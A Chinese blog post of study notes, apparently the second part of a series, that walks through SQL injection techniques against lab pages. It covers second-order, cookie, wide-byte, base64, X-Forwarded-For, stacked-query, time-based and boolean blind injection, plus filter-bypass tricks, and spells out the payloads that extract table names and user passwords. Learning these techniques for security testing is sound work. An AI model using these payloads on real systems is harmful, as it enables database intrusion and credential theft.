f10@t's blog

SQL注入小记(二)

字数统计: 3.8k阅读时长: 14 min
2018/11/12

继续接着上一次的小结

Review

小结:上一篇总结里我们主要提到了一下几点:

  • 什么是SQLi,SQLi的分类。
  • 方法:Union注入攻击、报错注入攻击。
  • 关键词和函数:order by、LIMIT、concat()、database()、user()等常用关键词函数。
  • 常用库表:information_schema、information_schema.tables、information_schema.columns等。

搞清楚以上内容后再进一步学习

sql注入分为三大类型,基于报错的注入、基于时间的盲注、基于布尔的盲注。上次我们的内容基本属于基于报错的注入中的Union手段(我把它记作报错.Union),以及一个基于布尔的盲注例子。 这次我们将剩下的类型一一总结完毕,先列一个清单吧。

1
2
3
1. 基于报错的注入:Union注入、二次注入攻击、宽字节注入攻击、base64注入攻击、XFF注入攻击
2. 基于时间的盲注:基本时间注入、堆叠查询注入攻击
3. 基于布尔的盲注:简单布尔盲注、cookie注入攻击

辅助手段(主要是一些绕过手段):

1
大小写绕过注入、双写绕过注入、编码绕过注入、内联注释绕过注入

虽然我是这样分类的,但实际上具体用哪一种手段还要看实际情况,下面在总结中,我会一一的把这些手段的特点、核心列出来,什么螺丝用什么刀还需判断。

基于报错的注入

Union注入

特点:初步特点:有报错 为什么叫Union注入呢?因为这种手段的关键步骤是Union查询语句,即我们闭合正常查询语句后插入的自己的查询语句。如:

1
select * from user where id='' 

我们这样构造:

1
select * from user where id='1' and 1=2 union select database()%23'

这样我们就可以查询当前数据库了,详细的例子上一篇有示例。

Union注入是很基础、也是很直接的一个手段,不光这里可以使用,包括后面的一些注入手段后期结合绕过都是可以使用的,所以应先了解清楚该手段。

二次注入攻击

特点:有两个页面操作,一个是注册页面,一个是操作页面。 下面我们用一个实例来解释。打开一个名为double1.php的页面,它的功能是用于用户的注册,并返回给用户一个id值。如图:   

页面给我们回显了一个这个用户的id值。下来我们判断是否存在注入点,在username=a后面加一个'引号。

返回id值为6。下来我们到第二个网页double2.php中查询我们的id值,先查询id=5的值:   

没有问题,返回了我们的第一个注册的用户名a。继续查询id=6的值:

报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''a''' at line 1

我们注册一个后面含注释符的用户:username=b' order by 3%23

注册成功。回显id为9。现在查询id=9的用户,页面返回空白,说明没问题。ps:order by 5结果相同,返回空白。我们再次注册一个用户名为username=c' order by 6%23的用户。注册成功,回显id为11。现在查询id=11。

报错信息:Unknown column '6' in 'order clause'说明了这张表只有5个字段。下来就是Union的手段了,这里我不一一截图,大概说思路:

  • username=d' and 1=2 union select 1,2,3,4,5%23&password=123,查询id,结果回显2。

  • username=d' and 1=2 union select 1,database(),3,4,5%23&password=123。回显当前数据库:double_inject。

  • username=d' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='double_inject' limit 0,1),3,4,5%23&password=123。回显当前表名:users。limit 1,2没结果,当前只有一个表。

  • username=d' and 1=2 union select 1,(select column_name from information_schema.columns where table_schema='double_inject' and table_name='users' limit 0,1),3,4,5%23&password=123。回显第一个字段名id,以此类推,改变limit参数即可得到五个字段名。分别为id,username,password,email,address。

  • username=d' and 1=2 union select 1,(select password(或username) from users where id=2 limit 0,1),3,4,5%23&password=123根据回显我们就能狗获得所有用户名单和他们的密码了。

小结:该注入手段的核心在于插入注入语句到注册页面里,当查询时页面就会在select * from users where username=之类的句子里执行我们的sql注入语句。当然以上只是最简单的例子没有任何WAF,如果加上绕过、过滤的话难度会上升一些。

cookie注入攻击

特点:没有GET参数,但是在报头信息中有cookie信息。

现在给出一个页面,显示了一个人的名称和年龄,无参数输入,页面信息不改变。BP截包看看:

可以看到它默认了cookie值是id=1,我们尝试改变id值发现可以获得不同信息。

说明服务器获取我们的cookie值作为查询的依据,且默认设置为了id=1。我们就在此处构造注入语句。

下来的步骤就是union注入了,这里不再细说。

宽字节注入

特点:数据库为gbk编码,且对用户查询进行了转义。

我们仍用一个实例来演示,打开页面,发现需要get参数id过去,我们先加一个'单引号,看会发生什么   

可以看到返回结果正常、且查询语句中多了一个斜杠,代表我们的单引号被转义掉了,所以id没有逃脱单引号的包围。看似是没有办法注入的。但有一点,这个数据库的编码如果为gbk编码的话,就可以进行注入了。

宽字节注入原理:转义所用的斜杠的gbk编码为%5c,如果我们这么构造id=1%df',这样单引号会变为'%5c''连接起来是:id=1%df%5c',恰好%df%5c在gbk编码中是繁体字,所以单引号就成功逃逸了。我们构造id=1%df'%23,这样即闭合了前面的单引号,也注释掉了后面的单引号,再插入我们的Union注入语句就行了。如下:

返回正常,开始猜字段数,order by 3返回正常:

使用Union查询手段查询当前的数据库、数据表名:

再依次获取字段名,查询内容即可,与上例相同。

小结:宽字节注入的核心是利用%df结合斜杠的转义符号,经过gbk编码之后使单引号逃逸,再将后面的单引号注释,二者之间在插入我们自己的查询语句,这里仍使用了Union查询和嵌套语句的方式来进行。

base64注入攻击

特点:会对提交的参数依次进行base64编码和base64解码。

这里处理的大概流程是,客户端会将你的提交进行一个base64加密,之后服务端会解密,然后插入sql查询语句,再去执行。

解决手段就是简单的Union注入,只不过我们提前对构造的语句进行了base64加密,这样的话WAF可能检测不到我们语句中的为危险词。 ## XFF注入攻击

特点:使用burp可以看到请求中有X-Forwarded-For头。

关于XFF:

X-Forwarded-For,简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。它不是RFC中定义的标准请求头信息,在squid缓存代理服务器开发文档中可以找到该项的详细介绍。标准格式如下:X-Forwarded-For: client1, proxy1, proxy2。

现在假设这么一个页面,它的作用是获取用户的ip地址,然后返回你的用户名以证明你存在,没有任何需要get的参数。他既然能知道我们的ip,说明后台使用函数获取了我们的信息,比如X-Forwarded-For头。而这个头部信息是可以伪造的。

下来我们进行一个演示,打开页面,这里我是本地访问,所以我的默认ip是127.0.0.1,正常回显:

在Headers里查看后发现没有X-Forwarded参数,那我们就构造一个假的X-Forwarded-For头

回显正常,下来我们在XFF头这里构造注入语句:X-Forwarded-For:127.0.0.1' order by 4#

最终判断共3个字段,之后的流程与Union注入相同。

堆叠查询注入

特点:后台使用了PDO方式连接数据库并且没有做好过滤工作

之所以叫堆叠出入是因为我们构造的注入语句由两个以上的语句组成。PDO方式是可以执行多条语句的。大致的注入原理、判断依据与上例差不多。

下面还是给出一个例子,打开一个网页,输入id可以获得相应的信息,添加单引号后error。

添加%23后返回正常,order by 判断为三个字段,所以这里我们也可以使用Union注入方法。这里我们尝试堆叠注入。构造URL:?id='; select if(substr(database(),1,1)='a',sleep(5),1)%23

第一个;会将上一个语句结束,紧接着执行我们的注入语句,如:

1
SELECT * from ?? where id='1';select if(substr(database(),1,1)='a',sleep(5),1)%23

可以看到正常查询后,我们的语句也被执行了。之后步骤与上例相同。关于PHP与数据库的交互,接口知识,如mysqli,PDO等我会专门总结。

基于时间的盲注

基本时间注入

为什么叫时间注入呢,因为页面不会给出报错,所以我们的判断依据就变为了页面响应的时间。注入语句中主要使用了sleep()函数,IF(expr1,expr2,expr3)以及一些逻辑判断,并以此来区分开正确的和错误的页面。

特点: 初步判断没有错误回显。

下面我们进行一个演示。

初步分析:该页面没有错误回显、且返回结果只有yes和no,作为查询内容是否存在的判断依据。我们使用sleep()函数以及length()作为逻辑判断。

第一步老样子,我们先猜出库名,构造url:id=1' and if(length(database()),sleep(5),1)#如果后面的if返回了1,整个and为真,页面会返回yes,否则sleep 5秒并返回no。

可以看到右下角的响应时间是5005毫秒,也就是5秒以上,正常都在两位数以下的毫秒数,说明执行了sleep(5)语句,也就是database()长度比1大。继续尝试。

最后判断该数据库名长度为4。但这只是知道了长度为4,我们还需要知道它的名字是什么。

我们使用substr()函数来一位一位的猜取数据库的名称,我这里使用的是burp的intruduce功能示范,我的URL:id=1'%20and%20if(substr(database(),1,1)='',sleep(5),1)%23

并在''间插入爆破符号$$

payload是26个小写字母(我是提前知道库名的,正常的话要尽可能全一点,我这里省时间),结果:

可以看到,只有t字母的返回长度为230(也就是no),说明它sleep(5)了,即这个数据库名字第一个字母为't'。照此方法可依次推出库名、表名、字段名和具体数据。时间问题而已。

基于布尔的盲注

简单布尔盲注

特点:初步判断无报错、sleep等函数被过滤,不便时间注入

布尔注入的逻辑与上面的时间注入差不多,只不过时间盲注用到了sleep()函数作为判断标准,如果后台把sleep等的危险词过滤了呢?那我们使用布尔注入吧,区别不是很大,还省时间。

下面给出一个示例:

现在有一个页面,可供查询id,有数据则返回yes,否则返回no,也是无报错,与时间注入特点类似。  

老样子,id=1加单引号,返回no,%23后正常回显。首先我们来破解数据库信息:

第一步,长度,构造url:?id=1' and length(database())>=1%23

返回正常。照此方法可依次推出数据库的长度。名称同理,使用substr函数,剩余信息同理。

绕过

在sql注入时,服务端经常会利用php的一些函数将我们的语句进行过滤,过滤掉我们注入所需的东西,阻止攻击。绕过这些过滤主要原理是用其他的特殊字符换掉敏感词,或根据过滤特点隐藏敏感词。我们有这些方法:

  • 大小写绕过
  • 双写绕过
  • 编码绕过
  • 内联注释符绕过

大小写绕过

原理:mysql是不会区分大小写的:

比如我们的语句?id=1' and 1=2#,后台会检测到and关键词。我们可以将它写成And来绕过,其他的如order写成Order等道理相同。 

双写绕过

原理:后台会删掉我们的关键词,我们将其双写即可。

比如我们的语句?id=1' and 1=1#and被过滤了,语句失去了作用怎么办呢?

我们可以这样构造:?id=1' anandd 1=1#,后台删掉中间的and后剩下的还是and,达到了保留关键词的作用。

编码绕过

原理:后台接受GET请求时,会对我们的语句进行一次URL编码和解码,后台收到的是一次解码的结果,我们将其编码两次即可。 比如我们的语句?id=1' and 1=1#,我们一次编码结果为%61%6e%64;二次编码(注意是全编码),传过去时and关键词是%25%36%31%25%36%65%25%36%34这时就会逃脱过滤,我们就可以注入了。

内联注释符绕过

原理:sql里有一个特属于的内联注释符,它的作用不是注释,而是可以运行的。

这个/*!注释内容*/注释符,是可以运行里面内容的,将关键词放进去就可以逃过滤了。 

小结

SQL注入中首先判断注入类型。

  • 这个网页是什么特点呢?有报错吗?
  • 需要什么方法呢?如果有过滤怎么绕过呢?

这些都是需要判断的。尽管有sqlmap神器,我还是觉得经常手注,练一练脚本能力(比如python注入脚本等),熟悉熟悉工具使用(Burpsuite等),是有益无害的。

上面我的总结只是最基础的东西,还需花时间去练习,熟悉。后面我会单独总结PHP中数据库管理这块的内容,也会找一些防御性的代码来审计。

Stay hungry, stay foolish.

CATALOG
  1. 1. Review
  2. 2. 基于报错的注入
    1. 2.1. Union注入
    2. 2.2. 二次注入攻击
    3. 2.3. cookie注入攻击
    4. 2.4. 宽字节注入
    5. 2.5. base64注入攻击
    6. 2.6. 堆叠查询注入
  3. 3. 基于时间的盲注
    1. 3.1. 基本时间注入
  4. 4. 基于布尔的盲注
    1. 4.1. 简单布尔盲注
  5. 5. 绕过
    1. 5.1. 大小写绕过
    2. 5.2. 双写绕过
    3. 5.3. 编码绕过
    4. 5.4. 内联注释符绕过
  6. 6. 小结